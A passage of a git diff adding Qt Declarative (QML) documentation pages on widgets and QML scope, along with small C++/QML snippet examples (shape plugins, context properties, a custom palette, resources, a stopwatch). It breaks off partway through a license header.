QTabWidget, etc.) +\endlist + +QML Items also serve these purposes. Each is considered separately below. + +\section2 Simple Widgets + +The most important rule to remember while implementing a new QDeclarativeItem in C++ +is that it should not contain any look and feel policies - leave that to the +QML usage of the item. + +As an example, imagine you wanted a reusable Button item. If you therefore +decided to write a QDeclarativeItem subclass to implement a button, +just as QToolButton subclasses QWidget for this purpose, following the rule above, your +\c QDeclarativeButton would not have any appearance - just the notions of enabled, triggering, etc. + +But there is already an object in Qt that does this: QAction. + +QAction is the UI-agnostic essence of QPushButton, QCheckBox, QMenu items, QToolButton, +and other visual widgets that are commonly bound to a QAction. + +So, the job of implementing a checkbox abstraction for QML is already done - it's QAction. +The look and feel of an action - the appearance of the button, the transition between states, +and exactly how it respond to mouse, key, or touch input, should all be left for definition +in QML. + +It is illustrative to note that QDeclarativeTextEdit is built upon QTextControl, +QDeclarativeWebView is built upon QWebPage, and ListView uses QListModelInterface, +just as QTextEdit, QWebView, and QListView are built upon +those same UI-agnostic components. + +The encapsulation of the look and feel that QWidgets gives is important, and for this +the QML concept of \l {qdeclarativedocuments.html}{components} serves the same purpose. If you are building a complete +suite of applications which should have a consistent look and feel, you should build +a set of reusable components with the look and feel you desire. + +So, to implement your reusable button, you would simply build a QML component. + + +\section2 Parent Widgets + +Parent widgets each provide a generic way to interface to one or more arbitrary other widgets. +A QTabWidget provides an interface to multiple "pages", one of which is visible at any time, +and a mechnism for selecting among them (the QTabBar). A QScollArea provides scrollbars around +a widget that is otherwise too large to fit in available space. + +Nearly all such components can be created directly in QML. Only a few cases +which require very particular event handling, such as Flickable, require C++ implementations. + +As an example, imagine you decided to make a generic tab widget item to be used +through your application suite wherever information is in such quantity that it +needs to be divided up into pages. + +A significant difference in the parenting concept with QML compare to QWidgets +is that while child items are positioned relative to their parents, +there is no requirement that they be wholy contained ("clipped") to +the parent (although the clipped property of the child Item does allow +this where it is needed). +This difference has rather far-reaching consequences, for example: + +\list + \o A shadow or highlight around a widget could be a child of that widget. + \o Particle effects can flow outside the object where they originate. + \o Transitioning animations can "hide" items by visibly moving them beyond the screen bounds. +\endlist + + +\section2 Compound Widgets + +Some widgets provide functionality by composing other widgets as an "implementation detail", +providing a higher level API to the composition. QSpinBox for example is a line edit and some +buttons to increase/decrease the edited value. QFileDialog uses a whole host of widgets to +give the user a way of finding and selecting a file name. + +When developing reusable QML Items, you may choose to do the same: build an item composed +of other items you have already defined. + +The only caveat when doing this is to consider the possible animations and transitions that +users of the compound item might wish to employ. For example, a spinbox might need to smoothly +transition from an arbitrary Text item, or characters within a Text item, so your spinbox +item would need to be sufficiently flexible to allow such animation. + +\section1 QML Items Compared With QGraphicsWidgets +*/ diff --git a/doc/src/declarative/scope.qdoc b/doc/src/declarative/scope.qdoc new file mode 100644 index 0000000..65553cf --- /dev/null +++ b/doc/src/declarative/scope.qdoc @@ -0,0 +1,342 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/* + + + +and requires extension to +fit naturally with QML. + + +JavaScript has only b +JavaScript has a very simple built in scope is very simple + +script, and the precede d + +and \l {Integrating JavaScript}{JavaScript} are executed in a scope chain +automatically established by QML when a component instance is constructed. QML is a \e {dynamically scoped} +language. Different object instances instantiated from the same component can exist in +different scope chains. + +\image qml-scope.png + + +*/ + +/*! +\page qdeclarativescope.html +\title QML Scope + +\tableofcontents + +QML property bindings, inline functions and imported JavaScript files all +run in a JavaScript scope. Scope controls which variables an expression can +access, and which variable takes precedence when two or more names conflict. + +As JavaScript's built-in scope mechanism is very simple, QML enhances it to fit +more naturally with the QML language extensions. + +\section1 JavaScript Scope + +QML's scope extensions do not interfere with JavaScript's natural scoping. +JavaScript programmers can reuse their existing knowledge when programming +functions, property bindings or imported JavaScript files in QML. + +In the following example, the \c {addConstant()} method will add 13 to the +parameter passed just as the programmer would expect irrespective of the +value of the QML object's \c a and \c b properties. + +\code +QtObject { + property int a: 3 + property int b: 9 + + function addConstant(b) { + var a = 13; + return b + a; + } +} +\endcode + +That QML respects JavaScript's normal scoping rules even applies in bindings. +This totally evil, abomination of a binding will assign 12 to the QML object's +\c a property. + +\code +QtObject { + property int a + + a: { var a = 12; a; } +} +\endcode + +Every JavaScript expression, function or file in QML has its own unique +variable object. Local variables declared in one will never conflict +with local variables declared in another. + +\section1 Element Names and Imported JavaScript Files + +\l {QML Document}s include import statements that define the element names +and JavaScript files visible to the document. In addition to their use in the +QML declaration itself, element names are used by JavaScript code when accessing +\l {Attached Properties} and enumeration values. + +The effect of an import applies to every property binding, and JavaScript +function in the QML document, even those in nested inline components. The +following example shows a simple QML file that accesses some enumeration +values and calls an imported JavaScript function. + +\code +import Qt 4.7 +import "code.js" as Code + +ListView { + snapMode: ListView.SnapToItem + + delegate: Component { + Text { + elide: Text.ElideMiddle + text: "A really, really long string that will require eliding." + color: Code.defaultColor() + } + } +} +\endcode + +\section1 Binding Scope Object + +Property bindings are the most common use of JavaScript in QML. Property +bindings associate the result of a JavaScript expression with a property of an +object. The object to which the bound property belongs is known as the binding's +scope object. In this QML simple declaration the \l Item object is the +binding's scope object. + +\code +Item { + anchors.left: parent.left +} +\endcode + +Bindings have access to the scope object's properties without qualification. +In the previous example, the binding accesses the \l Item's \c parent property +directly, without needing any form of object prefix. QML introduces a more +structured, object-oriented approach to JavaScript, and consequently does not +require the use of the JavaScript \c this property. + +Care must be used when accessing \l {Attached Properties} from bindings due +to their interaction with the scope object. Conceptually attached properties +exist on \e all objects, even if they only have an effect on a subset of those. +Consequently unqualified attached property reads will always resolve to an +attached property on the scope object, which is not always what the programmer +intended. + +For example, the \l PathView element attaches interpolated value properties to +its delegates depending on their position in the path. As PathView only +meaningfully attaches these properties to the root element in the delegate, any +sub-element that accesses them must explicitly qualify the root object, as shown +below. + +\code +PathView { + delegate: Component { + Rectangle { + id: root + Image { + scale: root.PathView.scale + } + } + } +} +\endcode + +If the \l Image element omitted the \c root prefix, it would inadvertantly access +the unset \c {PathView.scale} attached property on itself. + +\section1 Component Scope + +Each QML component in a QML document defines a logical scope. Each document +has at least one root component, but can also have other inline sub-components. +The component scope is the union of the object ids within the component and the +component's root element's properties. + +\code +Item { + property string title + + Text { + id: titleElement + text: "<b>" + title + "</b>" + font.pixelSize: 22 + anchors.top: parent.top + } + + Text { + text: titleElement.text + font.pixelSize: 18 + anchors.bottom: parent.bottom + } +} +\endcode + +The example above shows a simple QML component that displays a rich text title +string at the top, and a smaller copy of the same text at the bottom. The first +\c Text element directly accesses the component's \c title property when +forming the text to display. That the root element's properties are directly +accessible makes it trivial to distribute data throughout the component. + +The second \c Text element uses an id to access the first's text directly. IDs +are specified explicitly by the QML programmer so they always take precedence +over other property names (except for those in the \l {JavaScript Scope}). For +example, in the unlikely event that the binding's \l {Binding Scope Object}{scope +object} had a \c titleElement property in the previous example, the \c titleElement +id would still take precedence. + +\section1 Component Instance Hierarchy + +In QML, component instances connect their component scopes together to form a +scope hierarchy. Component instances can directly access the component scopes of +their ancestors. + +The easiest way to demonstrate this is with inline sub-components whose component +scopes are implicitly scoped as children of the outer component. + +\code +Item { + property color defaultColor: "blue" + + ListView { + delegate: Component { + Rectangle { + color: defaultColor + } + } + } +} +\endcode + +The component instance hierarchy allows instances of the delegate component +to access the \c defaultColor property of the \c Item element. Of course, +had the delegate component had a property called \c defaultColor that would +have taken precedence. + +The component instance scope hierarchy extends to out-of-line components, too. +In the following example, the \c TitlePage.qml component creates two +\c TitleText instances. Even though the \c TitleText element is in a separate +file, it still has access to the \c title property when it is used from within +the \c TitlePage. QML is a dynamically scoped language - depending on where it +is used, the \c title property may resolve differently. + +\code +// TitlePage.qml +import Qt 4.7 +Item { + property string title + + TitleText { + size: 22 + anchors.top: parent.top + } + + TitleText { + size: 18 + anchors.bottom: parent.bottom + } +} + +// TitleText.qml +import Qt 4.7 +Text { + property int size + text: "<b>" + title + "</b>" + font.pixelSize: size +} +\endcode + +Dynamic scoping is very powerful, but it must be used cautiously to prevent +the behavior of QML code from becoming difficult to predict. In general it +should only be used in cases where the two components are already tightly +coupled in another way. When building reusable components, it is preferable +to use property interfaces, like this: + +\code +// TitlePage.qml +import Qt 4.7 +Item { + id: root + property string title + + TitleText { + title: root.title + size: 22 + anchors.top: parent.top + } + + TitleText { + title: root.title + size: 18 + anchors.bottom: parent.bottom + } +} + +// TitleText.qml +import Qt 4.7 +Text { + property string title + property int size + + text: "<b>" + title + "</b>" + font.pixelSize: size +} +\endcode + +\section1 JavaScript Global Object + +In addition to all the properties that a developer would normally expect on +the JavaScript global object, QML adds some custom extensions to make UI or +QML specific tasks a little easier. These extensions are described in the +\l {QML Global Object} documentation. + +QML disallows element, id and property names that conflict with the properties +on the global object to prevent any confusion. Programmers can be confident +that \c Math.min(10, 9) will always work as expected! + +*/ diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h b/doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h new file mode 100644 index 0000000..028718f --- /dev/null +++ b/doc/src/declarative/snippets/integrating/graphicswidgets/bluecircle.h @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +#include <QtDeclarative/qdeclarative.h> +#include <QGraphicsWidget> +#include <QPainter> + +class BlueCircle : public QGraphicsWidget +{ + Q_OBJECT +public: + void paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) + { + painter->setPen(QColor(Qt::blue)); + painter->drawEllipse(0, 0, size().width(), size().height()); + } +}; + +QML_DECLARE_TYPE(BlueCircle) +//![0] diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro b/doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro new file mode 100644 index 0000000..21c8a37 --- /dev/null +++ b/doc/src/declarative/snippets/integrating/graphicswidgets/graphicswidgets.pro @@ -0,0 +1,13 @@ +TEMPLATE = lib +CONFIG += qt plugin +QT += declarative + +HEADERS += redsquare.h \ + bluecircle.h + +SOURCES += shapesplugin.cpp + +DESTDIR = lib +OBJECTS_DIR = tmp +MOC_DIR = tmp + diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/main.qml b/doc/src/declarative/snippets/integrating/graphicswidgets/main.qml new file mode 100644 index 0000000..ffcf79d --- /dev/null +++ b/doc/src/declarative/snippets/integrating/graphicswidgets/main.qml @@ -0,0 +1,32 @@ +import Qt 4.7 +import Qt.widgets 4.7 + +Rectangle { + width: 200 + height: 200 + + RedSquare { + id: square + width: 80 + height: 80 + } + + BlueCircle { + anchors.left: square.right + width: 80 + height: 80 + } + + QGraphicsWidget { + anchors.top: square.bottom + size.width: 80 + size.height: 80 + layout: QGraphicsLinearLayout { + LayoutItem { + preferredSize: "100x100" + Rectangle { color: "yellow"; anchors.fill: parent } + } + } + } +} + diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/qmldir b/doc/src/declarative/snippets/integrating/graphicswidgets/qmldir new file mode 100644 index 0000000..f94dad2 --- /dev/null +++ b/doc/src/declarative/snippets/integrating/graphicswidgets/qmldir @@ -0,0 +1 @@ +plugin graphicswidgets lib diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h b/doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h new file mode 100644 index 0000000..76e7d11 --- /dev/null +++ b/doc/src/declarative/snippets/integrating/graphicswidgets/redsquare.h @@ -0,0 +1,57 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +#include <QtDeclarative/qdeclarative.h> +#include <QGraphicsWidget> +#include <QPainter> + +class RedSquare : public QGraphicsWidget +{ + Q_OBJECT +public: + void paint(QPainter *painter, const QStyleOptionGraphicsItem *, QWidget *) + { + painter->fillRect(0, 0, size().width(), size().height(), QColor(Qt::red)); + } +}; + +QML_DECLARE_TYPE(RedSquare) +//![0] diff --git a/doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp b/doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp new file mode 100644 index 0000000..4c18ef3 --- /dev/null +++ b/doc/src/declarative/snippets/integrating/graphicswidgets/shapesplugin.cpp @@ -0,0 +1,61 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ +//![0] +#include "redsquare.h" +#include "bluecircle.h" + +#include <QtDeclarative/QDeclarativeExtensionPlugin> +#include <QtDeclarative/qdeclarative.h> + +class ShapesPlugin : public QDeclarativeExtensionPlugin +{ + Q_OBJECT +public: + void registerTypes(const char *uri) { + qmlRegisterType<RedSquare>(uri, 1, 0, "RedSquare"); + qmlRegisterType<BlueCircle>(uri, 1, 0, "BlueCircle"); + } +}; + +#include "shapesplugin.moc" + +Q_EXPORT_PLUGIN2(shapesplugin, ShapesPlugin); +//![0] diff --git a/doc/src/declarative/snippets/qtbinding/contextproperties/contextproperties.pro b/doc/src/declarative/snippets/qtbinding/contextproperties/contextproperties.pro new file mode 100644 index 0000000..68eeaf2 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/contextproperties/contextproperties.pro @@ -0,0 +1,2 @@ +QT += declarative +SOURCES += main.cpp diff --git a/doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp b/doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp new file mode 100644 index 0000000..15e3d4c --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/contextproperties/main.cpp @@ -0,0 +1,79 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include <QDeclarativeComponent> +#include <QDeclarativeEngine> + +//![0] +#include <QApplication> +#include <QDeclarativeView> +#include <QDeclarativeContext> + +int main(int argc, char *argv[]) +{ + QApplication app(argc, argv); + + QDeclarativeView view; + QDeclarativeContext *context = view.rootContext(); + context->setContextProperty("backgroundColor", + QColor(Qt::yellow)); + + view.setSource(QUrl("main.qml")); + view.show(); + + return app.exec(); +} +//![0] + +static void alternative() +{ + // Alternatively, if we don't actually want to display main.qml: +//![1] + QDeclarativeEngine engine; + QDeclarativeContext *windowContext = new QDeclarativeContext(engine.rootContext()); + windowContext->setContextProperty("backgroundColor", QColor(Qt::yellow)); + + QDeclarativeComponent component(&engine, "main.qml"); + QObject *window = component.create(windowContext); +//![1] +} + + diff --git a/doc/src/declarative/snippets/qtbinding/contextproperties/main.qml b/doc/src/declarative/snippets/qtbinding/contextproperties/main.qml new file mode 100644 index 0000000..1053f73 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/contextproperties/main.qml @@ -0,0 +1,15 @@ +//![0] +import Qt 4.7 + +Rectangle { + width: 300 + height: 300 + + color: backgroundColor + + Text { + anchors.centerIn: parent + text: "Hello Yellow World!" + } +} +//![0] diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h new file mode 100644 index 0000000..d0d253a --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.h @@ -0,0 +1,80 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include <QObject> +#include <QColor> + +//![0] +class CustomPalette : public QObject +{ + Q_OBJECT + Q_PROPERTY(QColor background READ background WRITE setBackground NOTIFY backgroundChanged) + Q_PROPERTY(QColor text READ text WRITE setText NOTIFY textChanged) + +public: + CustomPalette() : m_background(Qt::white), m_text(Qt::black) {} + + QColor background() const { return m_background; } + void setBackground(const QColor &c) { + if (c != m_background) { + m_background = c; + emit backgroundChanged(); + } + } + + QColor text() const { return m_text; } + void setText(const QColor &c) { + if (c != m_text) { + m_text = c; + emit textChanged(); + } + } + +signals: + void textChanged(); + void backgroundChanged(); + +private: + QColor m_background; + QColor m_text; +}; + +//![0] diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.pro b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.pro new file mode 100644 index 0000000..e6af0d0 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/custompalette/custompalette.pro @@ -0,0 +1,3 @@ +QT += declarative +HEADERS += custompalette.h +SOURCES += main.cpp diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/main.cpp b/doc/src/declarative/snippets/qtbinding/custompalette/main.cpp new file mode 100644 index 0000000..c723688 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/custompalette/main.cpp @@ -0,0 +1,62 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include <QApplication> +#include <QDeclarativeView> +#include <QDeclarativeContext> + +#include "custompalette.h" + +//![0] +int main(int argc, char *argv[]) +{ + QApplication app(argc, argv); + + QDeclarativeView view; + view.rootContext()->setContextProperty("palette", new CustomPalette); + + view.setSource(QUrl("main.qml")); + view.show(); + + return app.exec(); +} +//![0] + diff --git a/doc/src/declarative/snippets/qtbinding/custompalette/main.qml b/doc/src/declarative/snippets/qtbinding/custompalette/main.qml new file mode 100644 index 0000000..f1a3b4f --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/custompalette/main.qml @@ -0,0 +1,22 @@ +//![0] +import Qt 4.7 + +Rectangle { + width: 240 + height: 320 + color: palette.background + + Text { + anchors.centerIn: parent + color: palette.text + text: "Click me to change color!" + } + + MouseArea { + anchors.fill: parent + onClicked: { + palette.text = "blue"; + } + } +} +//![0] diff --git a/doc/src/declarative/snippets/qtbinding/resources/example.qrc b/doc/src/declarative/snippets/qtbinding/resources/example.qrc new file mode 100644 index 0000000..5e49415 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/resources/example.qrc @@ -0,0 +1,10 @@ +<!DOCTYPE RCC> +<RCC version="1.0"> + +<qresource prefix="/"> + <file>main.qml</file> + <file>images/background.png</file> +</qresource> + +</RCC> + diff --git a/doc/src/declarative/snippets/qtbinding/resources/images/background.png b/doc/src/declarative/snippets/qtbinding/resources/images/background.png new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/resources/images/background.png diff --git a/doc/src/declarative/snippets/qtbinding/resources/main.cpp b/doc/src/declarative/snippets/qtbinding/resources/main.cpp new file mode 100644 index 0000000..5459b9e --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/resources/main.cpp @@ -0,0 +1,58 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include <QApplication> +#include <QDeclarativeView> +#include <QDeclarativeContext> + +//![0] +int main(int argc, char *argv[]) +{ + QApplication app(argc, argv); + + QDeclarativeView view; + view.setSource(QUrl("qrc:/main.qml")); + view.show(); + + return app.exec(); +} +//![0] + diff --git a/doc/src/declarative/snippets/qtbinding/resources/main.qml b/doc/src/declarative/snippets/qtbinding/resources/main.qml new file mode 100644 index 0000000..dfe923f --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/resources/main.qml @@ -0,0 +1,7 @@ +//![0] +import Qt 4.7 + +Image { + source: "images/background.png" +} +//![0] diff --git a/doc/src/declarative/snippets/qtbinding/resources/resources.pro b/doc/src/declarative/snippets/qtbinding/resources/resources.pro new file mode 100644 index 0000000..cc01ee1 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/resources/resources.pro @@ -0,0 +1,4 @@ +QT += declarative + +SOURCES += main.cpp +RESOURCES += example.qrc diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp b/doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp new file mode 100644 index 0000000..13e3b9f --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/stopwatch/main.cpp @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "stopwatch.h" + +#include <QDeclarativeView> +#include <QDeclarativeContext> +#include <QApplication> + +//![0] +int main(int argc, char *argv[]) +{ + QApplication app(argc, argv); + + QDeclarativeView view; + view.rootContext()->setContextProperty("stopwatch", + new Stopwatch); + + view.setSource(QUrl("main.qml")); + view.show(); + + return app.exec(); +} +//![0] + diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/main.qml b/doc/src/declarative/snippets/qtbinding/stopwatch/main.qml new file mode 100644 index 0000000..2efa542 --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/stopwatch/main.qml @@ -0,0 +1,18 @@ +//![0] +import Qt 4.7 + +Rectangle { + width: 300 + height: 300 + + MouseArea { + anchors.fill: parent + onClicked: { + if (stopwatch.isRunning()) + stopwatch.stop() + else + stopwatch.start(); + } + } +} +//![0] diff --git a/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.cpp b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.cpp new file mode 100644 index 0000000..4954a5f --- /dev/null +++ b/doc/src/declarative/snippets/qtbinding/stopwatch/stopwatch.cpp @@ -0,0 +1,63 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia 